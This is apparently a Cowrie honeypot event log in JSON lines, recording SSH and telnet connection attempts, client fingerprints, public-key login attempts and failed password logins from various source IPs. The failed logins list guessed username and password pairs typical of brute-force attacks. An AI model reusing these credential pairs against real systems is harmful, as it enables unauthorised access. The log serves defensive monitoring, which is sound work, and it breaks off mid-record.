{"eventid":"cowrie.login.failed","username":"root","password":"root1337","message":"login attempt [root/root1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:32.585680Z","src_ip":"87.106.29.151","session":"eb54ca84830d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":51152,"dst_ip":"10.17.0.5","dst_port":22,"session":"726cdf05440a","protocol":"ssh","message":"New connection: 103.27.238.118:51152 (10.17.0.5:22) [session: 726cdf05440a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:32.852003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:32.858362Z","src_ip":"103.27.238.118","session":"726cdf05440a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.86539053916931,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:33.106207Z","src_ip":"23.94.28.189","session":"a08cace45a6e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:33.116581Z","src_ip":"103.27.238.118","session":"726cdf05440a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:33.688025Z","src_ip":"87.106.29.151","session":"eb54ca84830d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"begemot","message":"login attempt [root/begemot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:33.887303Z","src_ip":"103.27.238.118","session":"726cdf05440a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:35.150707Z","src_ip":"103.27.238.118","session":"726cdf05440a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57976,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0826643a211","protocol":"ssh","message":"New connection: 80.94.92.184:57976 (159.203.135.109:22) [session: c0826643a211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:37.853260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:37.960522Z","src_ip":"80.94.92.184","session":"c0826643a211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:38.196814Z","src_ip":"80.94.92.184","session":"c0826643a211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:40.317437Z","src_ip":"80.94.92.184","session":"c0826643a211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:41.824787Z","src_ip":"80.94.92.184","session":"c0826643a211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.04751467704773,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:03.151503Z","src_ip":"50.6.8.71","session":"b902516e3666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":36602,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6355442aa09","protocol":"ssh","message":"New connection: 193.228.128.84:36602 (159.203.135.109:22) [session: b6355442aa09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:14.854928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:14.860487Z","src_ip":"193.228.128.84","session":"b6355442aa09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:14.962791Z","src_ip":"193.228.128.84","session":"b6355442aa09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"evgen","message":"login attempt [root/evgen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:15.281094Z","src_ip":"193.228.128.84","session":"b6355442aa09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:16.386112Z","src_ip":"193.228.128.84","session":"b6355442aa09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39644,"dst_ip":"10.17.0.5","dst_port":23,"session":"86ca00af2a8b","protocol":"telnet","message":"New connection: 50.6.8.71:39644 (10.17.0.5:23) [session: 86ca00af2a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:16.536529Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46094,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebc258fd46ac","protocol":"telnet","message":"New connection: 50.6.8.71:46094 (10.17.0.5:23) [session: ebc258fd46ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:29.995445Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":41434,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aba4673379f","protocol":"ssh","message":"New connection: 87.106.29.151:41434 (159.203.135.109:22) [session: 2aba4673379f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:35.493108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:35.498160Z","src_ip":"87.106.29.151","session":"2aba4673379f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:35.595770Z","src_ip":"87.106.29.151","session":"2aba4673379f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"root@123","message":"login attempt [ftpuser/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:36.015465Z","src_ip":"87.106.29.151","session":"2aba4673379f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:37.115258Z","src_ip":"87.106.29.151","session":"2aba4673379f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46952,"dst_ip":"10.17.0.5","dst_port":22,"session":"09e20f922f1a","protocol":"ssh","message":"New connection: 109.237.96.109:46952 (10.17.0.5:22) [session: 09e20f922f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:43.261336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:43.269473Z","src_ip":"109.237.96.109","session":"09e20f922f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:43.359440Z","src_ip":"109.237.96.109","session":"09e20f922f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatever","message":"login attempt [root/whatever] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:43.636020Z","src_ip":"109.237.96.109","session":"09e20f922f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:44.727829Z","src_ip":"109.237.96.109","session":"09e20f922f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.62290906906128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:48.159251Z","src_ip":"50.6.8.71","session":"86ca00af2a8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49488,"dst_ip":"10.17.0.5","dst_port":23,"session":"194780521a13","protocol":"telnet","message":"New connection: 50.6.8.71:49488 (10.17.0.5:23) [session: 194780521a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:23:51.033221Z"}
{"eventid":"cowrie.session.closed","duration":31.717838764190674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:01.713168Z","src_ip":"50.6.8.71","session":"ebc258fd46ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.104.207","src_port":45472,"dst_ip":"10.17.0.5","dst_port":22,"session":"d16199c6eb18","protocol":"ssh","message":"New connection: 198.20.104.207:45472 (10.17.0.5:22) [session: d16199c6eb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:02.703475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:02.708773Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:02.791703Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:c3:91:67:ef:a3:7e:0b:75:a6:72:d1:bd:d8:c1:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClZ99rJ+Vqe/C9/elCiIQSiPwAyQPWSWp8yJF0xHiSye65ysHR6NboageaaWU30+NhV7nlDZ2cnh48bvNKbDX4y2lWd9szk8UZKJM7qQz0qdJXGZcFIKgCdb7fYqGQTL1AKLdh4W+kuX5SOYewm1RsfiU7nC3aMkvBTGhC2W0qLBzUClTqKFsjZcepkPmma9J8nrnk+YxnwVR411NNDTgsOR+WlWnUQbDx0n31G+qVPq7jKYp5HGyl/JPmwpl4a7oFn91stIt3C0GpeV+eYNUzeaq0y2B+rbOqenKiRkQDQr4m833NOMRCTzZrbBBx903o9qqyyTq7ZKJ6ZeL5AeKB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:c3:91:67:ef:a3:7e:0b:75:a6:72:d1:bd:d8:c1:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.182832Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:c3:91:67:ef:a3:7e:0b:75:a6:72:d1:bd:d8:c1:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClZ99rJ+Vqe/C9/elCiIQSiPwAyQPWSWp8yJF0xHiSye65ysHR6NboageaaWU30+NhV7nlDZ2cnh48bvNKbDX4y2lWd9szk8UZKJM7qQz0qdJXGZcFIKgCdb7fYqGQTL1AKLdh4W+kuX5SOYewm1RsfiU7nC3aMkvBTGhC2W0qLBzUClTqKFsjZcepkPmma9J8nrnk+YxnwVR411NNDTgsOR+WlWnUQbDx0n31G+qVPq7jKYp5HGyl/JPmwpl4a7oFn91stIt3C0GpeV+eYNUzeaq0y2B+rbOqenKiRkQDQr4m833NOMRCTzZrbBBx903o9qqyyTq7ZKJ6ZeL5AeKB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.187268Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:1e:82:6f:50:a0:05:12:1e:6b:5d:95:9c:98:6a:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrFV+94+vTMWY9nrttn2I1eo4yTFk9DiL8yTM+OHyfjL95K8gIg3XT3JNtMcJv7C6N9jRXLkGS8tk1LIb6pnD5bahgfJoZgqWAkoKm1zdk4MRYUTTbDkyOD5MTtiqa90VdsGb+mT70PeSFdJBDScW9C13K3om2QcSk264sh/MV3sUVqyLWHHJKlC+yxavYaEMKclemv8c/vJkIL6AHrSuiSM/vF7xanNAnpCoQaIZDp65j1kXYixhCGaCjm2eCToEtdfOwo8vxPtuZ89+zUEvnqnqQQ9d6DUN3OJ2TaOo1anpTrL9DMSyIUQB/6rmhWorhESmKr90XU6qjspLqRPYc/amLKx/+YmojyFwaYc/GU/rR6E09brSusWDCjeqYTAQpXp4wFsIPrt9mJov7hq+M0szPJ1LXUJbdhlY9yvpqybuuoB9SRMvdtb9GktWOy744rSS2TKhfN3Pr5ce1uuVrR6NFt5mtCsNCTE2hskdLbqv0n99SSvWiIQNHNSkuFdC4CAi5XmMrE311hFfXZMeDrszfvE3Ty1nWlR56RSu8yb40pREgjOfyh2i81BNgw9Ce7If7agbnV0vO8amrDuZiQj1LZc/FplYS1bS5e1mibWSCDKJ8QUIpI+nJHsOaYfvd0i2cv7IVdwRgAzEgXy3HmkeZV9XjfnAlSURcdKWvqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:1e:82:6f:50:a0:05:12:1e:6b:5d:95:9c:98:6a:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.271019Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:1e:82:6f:50:a0:05:12:1e:6b:5d:95:9c:98:6a:f5","key":"ssh-rsa 